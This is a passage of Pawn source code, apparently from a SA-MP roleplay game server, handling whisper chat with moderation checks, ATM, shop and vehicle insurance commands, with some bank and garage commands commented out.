							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: (/w)hisper <Playerid/PartOfName> <Whisper Massage>");
								return 1;
							}
							if(HidePM[giveplayerid] == 1)
							{
							SendMessage(playerid, COLOR_LIGHTGREEN, "Whisper Tog Disable for This player.");
							return 1;
							}
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							if(PINFO[playerid][pAdmin]<12)CensorText(result);
							format(string, sizeof(string), "Whispers from %s:{FFFFFF} %s",sendername, (result));
							SWM(giveplayerid, COLOR_YELLOW, string);
							format(string, sizeof(string), "Whispers to %s:{FFFFFF} %s",giveplayer, (result));
							SWM(playerid, COLOR_YELLOW, string);
                             if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
							new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind((result), str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[25];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[AD-{00FF00}/W-To-%s{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", PINFO[giveplayerid][pName], name, playerid,(result));
		//SendAdminMessage(COLOR_SINAGHERMEZ,string);
		}
		if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
		for(new i; i < sizeof(SusWords); i++)
		{
		if(PINFO[playerid][pAdmin] < 12)
		{
		         if(strcmp((result), LastMessageWarned[playerid], false))
         {
			if(strfind((result), SusWords[i], true) != -1)
			{
				new name[25];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[AD-{00FF00}/W-To-%s{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", PINFO[giveplayerid][pName], name, playerid,(result));
				SendAdminMMessage(COLOR_SINAGHERMEZ,string);
				strcpy(LastMessageWarned[playerid],(result),149);
				break;
				}
			}
		 }
		}

							return 1;
						}
						else
						{
							SendMessage(playerid,  COLOR_GREY, "Player is not near you !");
							return 1;
						}
					}
				}
				else
				{
						format(string, sizeof(string), "that player is offline.");
						SendMessage(playerid, COLOR_GRAD1, string);
				}
			}
			return 1;
		}
	//----------------------------------[Car Whisper]-----------------------------------------------
	if(strcmp(cmd, "/cw", true) == 0 || strcmp(cmd, "/carwhisper", true) == 0 || strcmp(cmd, "/cwhisper", true) == 0)
	{
	if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
		if(IsPlayerConnected(playerid))
		{
			if(gPlayerLogged[playerid] == 0)
			{
				SendMessage(playerid, COLOR_GREY, "   You havent logged in yet!");
				return 1;
			}
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
			if(!IsPlayerInAnyVehicle(playerid))
			{
				SendMessage(playerid, COLOR_GREY, "   You are not in a car!");
				return 1;
			}
			GetPlayerName(playerid, sendername, sizeof(sendername));
			new length = strlen(cmdtext);
			while ((idx < length) && (cmdtext[idx] <= ' '))
			{
				idx++;
			}
			new offset = idx;
	  new result[144];
			while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
			{
				result[idx - offset] = cmdtext[idx];
				idx++;
			}
			result[idx - offset] = EOS;
			if(!strlen(result))
			{
				SendMessage(playerid, COL_SYN, "Syntax: (/cw)hisper <Massage>");
				return 1;
			}
			new vehicle = GetPlayerVehicleID(playerid);




			for( new i = 0; i<Akharish; i++ )
			{
				if(IsPlayerConnected(i) && IsPlayerInAnyVehicle(i))
				{
					if(GetPlayerVehicleID(i) == vehicle)
					{
                            if(PINFO[playerid][pAdmin]<12)CensorText(result);
							new strchat[150];
							format(strchat, sizeof(strchat), "(CarWhisper) %s Says: {FFFFFF}%s", sendername, result);
							SWM(i,  0xABFF3AFF, strchat);
                           if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}

					}
				}
			}
		new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind(result, str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[25];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[AD-{00FF00}/CW{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
		//SendAdminMessage(COLOR_SINAGHERMEZ,string);
		}
		if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
		for(new i; i < sizeof(SusWords); i++)
		{
		if(PINFO[playerid][pAdmin] < 12)
		{
		         if(strcmp(result, LastMessageWarned[playerid], false))
         {
			if(strfind(result, SusWords[i], true) != -1)
			{
				new name[25];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[AD-{00FF00}/CW{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
				SendAdminMMessage(COLOR_SINAGHERMEZ,string);
				strcpy(LastMessageWarned[playerid],result,149);
				break;
				}
			}
		 }
		}
		}
		return 1;
	}
	//----------------------------------[Bank System]-----------------------------------------------
/*
		if(strcmp(cmd, "/withdraw", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAtBankk(playerid))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /withdraw <amount>");
						format(string, sizeof(string), "  You Have $%s in your account.", FormatNumber(PlayerInfo[playerid][pAccount]));
						SendMessage(playerid, COLOR_GRAD3, string);
						return 1;
					}
					new cashdeposit = strval(tmp);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /withdraw <amount>");
						format(string, sizeof(string), "  You Have $%s in your account.", FormatNumber(PlayerInfo[playerid][pAccount]));
						SendMessage(playerid, COLOR_GRAD3, string);
						return 1;
					}
					if (cashdeposit > PlayerInfo[playerid][pAccount] || cashdeposit < 1)
					{
						SendMessage(playerid, COLOR_GRAD2, "   You dont have that much !");
						return 1;
					}
					GivePlayerPool(playerid,cashdeposit);
					PlayerInfo[playerid][pAccount]=PlayerInfo[playerid][pAccount]-cashdeposit;
					SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
					format(string, sizeof(string), "  You Have Withdrawn $%s from your account Total: $%s ", FormatNumber(cashdeposit),FormatNumber(PlayerInfo[playerid][pAccount]));
					SendMessage(playerid, COLOR_YELLOW, string);
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "You are not at the Bank.");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/deposit", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAtBankk(playerid))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");

					tmp = strtok(cmdtext, idx);

					if(!strlen(tmp))
					{
					SendMessage(playerid, COL_SYN, "Syntax: /Deposit <Amount>");
					format(string, sizeof(string), "You have $%i in you account.", FormatNumber(PlayerInfo[playerid][pAccount]));
					SendMessage(playerid, COLOR_GRAD3, string);
					return 1;
					}
					new cashdeposit = strval(tmp);
					if(!strlen(tmp))
					{
					SendMessage(playerid, COL_SYN, "Syntax: /Deposit <Amount>");
					format(string, sizeof(string), "You have $%i in you account.", PlayerInfo[playerid][pAccount]);
					SendMessage(playerid, COLOR_GRAD3, string);
					return 1;
					}

					if (cashdeposit > GetPlayerPool(playerid) || cashdeposit < 1)
					{
					SendMessage(playerid, COLOR_GRAD2, "** You dont have that much");
					return 1;
					}
					//new mon = GetPlayerPool(playerid)-50000;
					//if(PINFO[playerid][pGift] == 1 && mon  < cashdeposit) return SCM(playerid,COLOR_Good,"You cannot deposit gift moneys.");
					GivePlayerPool(playerid,-cashdeposit);
					new curfunds = PlayerInfo[playerid][pAccount];
					PlayerInfo[playerid][pAccount]=cashdeposit+PlayerInfo[playerid][pAccount];
					SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
					SendMessage(playerid, COLOR_WHITE, "|___ BANK STATMENT ___|");
					format(string, sizeof(string), "Old Balance: $%s", FormatNumber(curfunds));
					SendMessage(playerid, COLOR_GRAD2, string);
					format(string, sizeof(string), "Deposit: $%s",FormatNumber(cashdeposit));
					SendMessage(playerid, COLOR_GRAD4, string);
					SendMessage(playerid, COLOR_GRAD6, "|-----------------------------------------|");
					format(string, sizeof(string), "New Balance: $%s", FormatNumber(PlayerInfo[playerid][pAccount]));
					SendMessage(playerid, COLOR_WHITE, string);
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_GRAD4, "You are not at the Bank!");
					return 1;
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/atmwithdraw", true) == 0)
		{
				if(IsPlayerConnected(playerid))
			{
				if(IsAtATMSystem(playerid))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(PINFO[playerid][pLevel]<3) return Error(playerid, "Error: Your level is too low.")
					if(PINFO[playerid][pNCard]==0) return Error(playerid, "Error: You must have national card to continue.")
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Atmwithdraw <Amount>");
						return 1;
					}
					new cashdeposit = strval(tmp);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Atmwithdraw <Amount>");
						return 1;
					}
					if (cashdeposit > PlayerInfo[playerid][pAccount] || cashdeposit < 1)
					{
						SendMessage(playerid, COLOR_GRAD2, "You dont have that much.");
						return 1;
					}
					TogglePlayerControllable(playerid, 0);
					UseAtm[playerid] = 1;
					LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
					GivePlayerPool(playerid,cashdeposit);
					PlayerInfo[playerid][pAccount]=PlayerInfo[playerid][pAccount]-cashdeposit;
					SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
					format(string, sizeof(string), "You have withdrawn $%s from your account, Total: $%s ", FormatNumber(cashdeposit),FormatNumber(PlayerInfo[playerid][pAccount]));
					SendMessage(playerid, COLOR_YELLOW, string);
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not at a ATM !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/atmbalance", true) == 0)
		{
				if(IsPlayerConnected(playerid))
			{
				if(IsAtATMSystem(playerid))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					TogglePlayerControllable(playerid, 0);
					UseAtm[playerid] = 1;
					LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
					format(string, sizeof(string), "Your bank balance is $%s",FormatNumber(PlayerInfo[playerid][pAccount]));
					SendMessage(playerid, COLOR_YELLOW, string);
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not at a ATM !");
					return 1;
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/transfer", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pLevel] < 5)
				{
					SendMessage(playerid, COLOR_GRAD1, "** You must be level 5 !");
					return 1;
				}
				if(!IsAtBankk(playerid))
				{
					SendMessage(playerid, COLOR_GREY, "** You are not at the Bank !");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Transfer <Playerid/PartOfName> <Amount>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Transfer <Playerid/PartOfName> <Amount>");
					return 1;
				}
				moneys = strval(tmp);

				if (IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						playermoney = PlayerInfo[playerid][pAccount] ;
						if (moneys > 0 && playermoney >= moneys)
						{
							PlayerInfo[playerid][pAccount] -= moneys;
							SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
							PlayerInfo[giveplayerid][pAccount] += moneys;
							SaveKonVal(giveplayerid, "pAccount", PINFO[giveplayerid][pAccount]);
							format(string, sizeof(string), "** You have transferd $%s to %s's account", FormatNumber(moneys), giveplayer,giveplayerid);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SendMessage(playerid, COLOR_GRAD1, string);
							format(string, sizeof(string), "** You have recieved $%s to into your account from %s", FormatNumber(moneys), sendername, playerid);
							SendMessage(giveplayerid, COLOR_GRAD1, string);
							format(string, sizeof(string), "{C60000}[Admin-Warn]:{FFFFFF} %s transferd $%s to %s", sendername, FormatNumber(moneys), giveplayer);
							if(moneys >= 5000)
							{
								ABroadCast(COLOR_YELLOW,string,1);
							}
							printf("%s", string);
							PlayerPlaySound(giveplayerid, 1052, 0.0, 0.0, 0.0);
						}
						else
						{
							SendMessage(playerid, COLOR_GRAD1, "   Invalid transaction amount.");
						}
					}
				}
				else
				{
					format(string, sizeof(string), "that player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/balance", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAtBankk(playerid))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					format(string, sizeof(string), "  You Have $%s in your account.",FormatNumber(PlayerInfo[playerid][pAccount]));
					SendMessage(playerid, COLOR_YELLOW, string);
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not at the Bank !");
					return 1;
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/dice", true) == 0)
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command when you are specing.");
			if(IsPlayerConnected(playerid))
			{
				new dice = random(6)+1;
				if (gDice[playerid] == 1)
				{
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, sizeof(string), "%s throws a dice that lands on %d.", sendername,dice);
					ProxDetector(20.0, playerid, string, COLOR_WHITE,COLOR_WHITE,COLOR_WHITE,COLOR_WHITE,COLOR_WHITE);
				}
				else
				{
					SendMessage(playerid, COLOR_GRAD2, "You haven't a Dice.");
					return 1;
				}
			}
			return 1;
		}
	/*----------------------------------------------------------------------------*/
		if(strcmp(cmd, "/buy", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (!PlayerToPoint(100, playerid,-30.875, -88.9609, 1004.53))//centerpoint 24-7
				{
					SendMessage(playerid, COLOR_GRAD2, "You are not in a 24-7");
					return 1;
				}
				if(BizzInfo[TooBiz[playerid]][bProducts] == 0)
				{
					GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
					return 1;
				}
				new buyabler[400];
				format(buyabler,sizeof(buyabler),"Cell Phone \t\t$50\nStratch Card \t\t$5\nPhone Book \t\t$1\nDice \t\t\t$1\nGas can \t\t$75\nCamera \t\t$25\nLighter \t\t\t$1\nCigarettes \t\t$1\nWalkieTalkie \t\t$5\nSIM Charge \t\tMultipe\nGPS\t\t\t$500\nSickle\t\t\t$10,000");
				ShowPlayerDialog(playerid,259,DIALOG_STYLE_LIST,"Chose what do you want to buy:",buyabler,"Buy","Cancel");
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/getsim", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (!PlayerToPoint(3, playerid,822.011718,-0.335233,1004.179687) && !PlayerToPoint(3, playerid,822.009704,6.295105,1004.179687))//mci
				{
					SendMessage(playerid, COLOR_GRAD2, "You are not in a SIM place");
					return 1;
				}
				if(BizzInfo[TooBiz[playerid]][bProducts] == 0)
				{
					GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
					return 1;
				}
				if(PlayerToPoint(3, playerid,822.011718,-0.335233,1004.179687)) {
				ShowPlayerDialog(playerid,20017,DIALOG_STYLE_LIST,"Chose number you want to buy:","912\n919","Buy","Cancel");
				}
				if(PlayerToPoint(3, playerid,822.009704,6.295105,1004.179687)) {
				ShowPlayerDialog(playerid,20018,DIALOG_STYLE_LIST,"Chose number you want to buy:","935\n936\n937\n938","Buy","Cancel");
				}
			}
			return 1;
		}
		*/
	//-----------------------------------------------------------------------------------------
		if(strcmp(cmd, "/carhelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SCM(playerid, CRISTIAN,"_______________________________________");
				SCM(playerid, COLOR_WHITE,"*** CAR HELP *** type a command for more help");
				SCM(playerid, COLOR_GRAD3,"*** CAR ***  /park, /lock, /sellcarto, /locatecar, /towcar");
				SCM(playerid, COLOR_GRAD3,"*** CAR ***  /carinfo, /carplate, /givekey, /removetuning, /togneon");
				SCM(playerid, COLOR_GRAD3,"*** CAR ***  /sellvehicle, /buyvehicle, /buyinsurance");
				return 1;
			}
		}
		/*
		if(!strcmp(cmd,"/gget",true))
		{
			if(IsPlayerConnected(playerid)) return SCM(playerid, COLOR_LIGHTRED, "Error: this command disabled by staffs.");
			if(PINFO[playerid][pCar] == 0 && PINFO[playerid][pCar_2] == 0 && PINFO[playerid][pCar_2] == 4 && PINFO[playerid][pCar_2] == 4) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			new ho = PINFO[playerid][pPhousekey];
			if(ho == 9999) return SCM(playerid,COLOR_SINA3,"You don't buy/rent a house.");
			new Float:ui[3];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			if(!IsPlayerInRangeOfPoint(playerid, 50, HouseInfo[ho][hExitx], HouseInfo[ho][hExity], HouseInfo[ho][hExitz])) return SCM(playerid,COLOR_SINA3,"You must be near your house to get your vehicle.");
			if(PINFO[playerid][gParked] == 1 && PINFO[playerid][gParked_2] == 1 && PINFO[playerid][gParked_3] == 1 && PINFO[playerid][gParked_4] == 1)
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /gget <CarID(1 or 2 or 3 or 4)>");
				new mashin = strval(tmp);
				if(mashin == 1)
				{
					CreateVehGarage(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
				}
				else if(mashin == 2)
				{
					CreateVehGarage_2(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
				}
				else if(mashin == 3)
				{
					CreateVehGarage_3(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
				}
				else if(mashin == 4)
				{
					CreateVehGarage_4(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
				}
				else return SCM(playerid,COL_SYN,"Syntax: /gget <CarID(1 or 2)>");
			}
			else if(PINFO[playerid][gParked] == 1 && PINFO[playerid][gParked_2] == 0 && PINFO[playerid][gParked_3] == 0 && PINFO[playerid][gParked_4] == 0)
			{
					CreateVehGarage(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
			}
			else if(PINFO[playerid][gParked] == 0 && PINFO[playerid][gParked_2] == 1 && PINFO[playerid][gParked_3] == 0 && PINFO[playerid][gParked_4] == 0)
			{
					CreateVehGarage_2(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
			}
			else if(PINFO[playerid][gParked] == 0 && PINFO[playerid][gParked_2] == 0 && PINFO[playerid][gParked_3] == 1 && PINFO[playerid][gParked_4] == 0)
			{
					CreateVehGarage_3(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
			}
			else if(PINFO[playerid][gParked] == 0 && PINFO[playerid][gParked_2] == 0 && PINFO[playerid][gParked_3] == 0 && PINFO[playerid][gParked_4] == 1)
			{
					CreateVehGarage_4(playerid);
					GameTextForPlayer(playerid, "vehicle ~n~~w~has evicted from the garage", 5000, 1);
					return 1;
			}
			return SCM(playerid,COLOR_Good,"Your car isn't in the garage.");
		}

		if(!strcmp(cmd,"/gpark",true))
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			new veh = GetPlayerVehicleID(playerid);
			new mashin;
			new v;
			if(veh != PINFO[playerid][pCar_1] && veh != PINFO[playerid][pCar_2]  && veh != PINFO[playerid][pCar_3] && veh != PINFO[playerid][pCar_4] && veh != PINFO[playerid][pCar_5] && veh != PINFO[playerid][pCar_6]) return SCM(playerid,COL_SYN,"You must be in your vehicle to park it on garage.");
			if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COL_SYN,"You must be driver of your car to park it in garage.");
			if(veh == PINFO[playerid][pCar_1]) {mashin = 1;v = PINFO[playerid][pVeh1];}
			else if(veh == PINFO[playerid][pCar_2]) {mashin = 2;v = PINFO[playerid][pVeh2];}
			else if(veh == PINFO[playerid][pCar_3]) {mashin = 3;v = PINFO[playerid][pVeh3];}
			else if(veh == PINFO[playerid][pCar_4]) {mashin = 4;v = PINFO[playerid][pVeh4];}
			else if(veh == PINFO[playerid][pCar_5]) {mashin = 5;v = PINFO[playerid][pVeh5];}
			else {mashin = 6;v = PINFO[playerid][pVeh6];}
			new ho = PINFO[playerid][pPhousekey];
			if(ho == 9999) return SCM(playerid,COLOR_SINA3,"You don't buy/rent a house.");
			new Float:ui[3];
			GetVehiclePos(GetPlayerVehicleID(playerid), ui[0], ui[1], ui[2]);
			if(GetVehicleDistanceFromPoint(veh, HouseInfo[ho][hExitx], HouseInfo[ho][hExity], HouseInfo[ho][hExitz]) > 50) return SCM(playerid,COLOR_SINA3,"You must be near your house to park your car on garage.");
			new Float:vh;GetVehicleHealth(veh,vh);
			if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do it now.");


				new Float:a;
				GetVehicleZAngle(veh, a);
				GetVehicleDamageStatus(veh,vInfo[v][cPanel],vInfo[v][cDoors],vInfo[v][cLights],vInfo[v][cTires]);
				SaveKonVal(playerid, "cPanel", vInfo[v][cPanel]);
				SaveKonVal(playerid, "cDoors", vInfo[v][cDoors]);
				SaveKonVal(playerid, "cLights", vInfo[v][cLights]);
				SaveKonVal(playerid, "cTires", vInfo[v][cTires]);
				vInfo[v][cHealth] = vh;
				SaveKonFloatV(v, "cHealth", vh);
				vInfo[v][gLocationX] = ui[0];
				SaveKonFloatV(v, "gLocationX", ui[0]);
				vInfo[v][gLocationY] = ui[1];
				SaveKonFloatV(v, "gLocationY", ui[1]);
				vInfo[v][gLocationZ] = ui[2];
				SaveKonFloatV(v, "gLocationZ", ui[2]);
				vInfo[v][gAngle] = a;
				SaveKonFloatV(v, "gAngle", a);
				vInfo[v][gParked] = 1;
				SaveKonValV(v, "gParked", 1);
				GameTextForPlayer(playerid, "vehicle ~n~~w~has parked in the garage", 5000, 1);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				MashinOwner[veh] = 9999;
				DestroyVehicle(veh, true);


			return 1;
		}
		*/
		if(!strcmp(cmd,"/buyinsurance",true))
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2)> <Amount>");
			new CarrID = strval(tmp);
			if(CarrID != 1 && CarrID != 2  && CarrID != 3 && CarrID != 4 && CarrID != 5 && CarrID != 6) return SCM(playerid,COL_SYN,"Invalid CarID.");
			if(CarrID == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
			if(CarrID == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
			if(CarrID == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
			if(CarrID == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
			if(CarrID == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
			if(CarrID == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");

			new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];
			if(CarrID == 1)
			{
				if(vInfo[v1][cInsurance] >= 5) return SCM(playerid,COLOR_SINA3,"You cant buy more than 5 insurances");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2)> <Amount>");
				new insur = strval(tmp);
				if(insur > 5-vInfo[v1][cInsurance] || insur <= 0)
				{
					new limitstr[128];
					format(limitstr, 128, "Type a number between 1 and %i.", 5-vInfo[v1][cInsurance]);
					return SCM(playerid,COLOR_SINA3, limitstr);
				}
				vInfo[v1][cInsurance] += insur;
				SaveKonValV(v1, "cInsurance", vInfo[v1][cInsurance]);
				new strlol[512];
				new pricee = (insur*vInfo[v1][cPrice]*1/500);
				if(GetPlayerPool(playerid) < pricee) { format(strlol,512,"You haven't enough cash(+$%s)",FormatNumber(pricee)); return SCM(playerid,COLOR_SINA3,strlol); }
				GivePlayerPool(playerid,-pricee);
				format(strlol,512,"You buy %i insurances for your vehicle for $%s.",insur,FormatNumber(pricee));
				SCM(playerid,COLOR_MAMAD,strlol);
				return 1;
			}
		   else if(CarrID == 2)
			{
				if(vInfo[v2][cInsurance] >= 5) return SCM(playerid,COLOR_SINA3,"You cant buy more than 5 insurances");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2)> <Amount>");
				new insur = strval(tmp);
				if(insur > 5-vInfo[v2][cInsurance] || insur <= 0)
				{
					new limitstr[128];
					format(limitstr, 128, "Type a number between 1 and %i.", 5-vInfo[v2][cInsurance]);
					return SCM(playerid,COLOR_SINA3, limitstr);
				}
				vInfo[v2][cInsurance] += insur;
				SaveKonValV(v2, "cInsurance", vInfo[v2][cInsurance]);
				new strlol[512];
				new pricee = (insur*vInfo[v2][cPrice]*1/500);
				if(GetPlayerPool(playerid) < pricee) { format(strlol,512,"You haven't enough cash(+$%s)",FormatNumber(pricee)); return SCM(playerid,COLOR_SINA3,strlol); }
				GivePlayerPool(playerid,-pricee);
				format(strlol,512,"You buy %i insurances for your vehicle for $%s.",insur,FormatNumber(pricee));
				SCM(playerid,COLOR_MAMAD,strlol);
				return 1;
			}
			 else if(CarrID == 3)
			{
				if(vInfo[v3][cInsurance] >= 5) return SCM(playerid,COLOR_SINA3,"You cant buy more than 5 insurances");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /buyinsurance <CarID(1-2)> <Amount>");
				new insur = strval(tmp);
				if(insur > 5-vInfo[v3][cInsurance] || insur <= 0)
				{
					new limitstr[128];
					format(limitstr, 128, "Type a number between 1 and %i.", 5-vInfo[v3][cInsurance]);
					return SCM(playerid,COLOR_SINA3, limitstr);
				}
				vInfo[v3][cInsurance] += insur;
				SaveKonValV(v3, "cInsurance", vInfo[v3][cInsurance]);
				new strlol[512];
				new pricee = (insur*vInfo[v3][cPrice]*1/500);
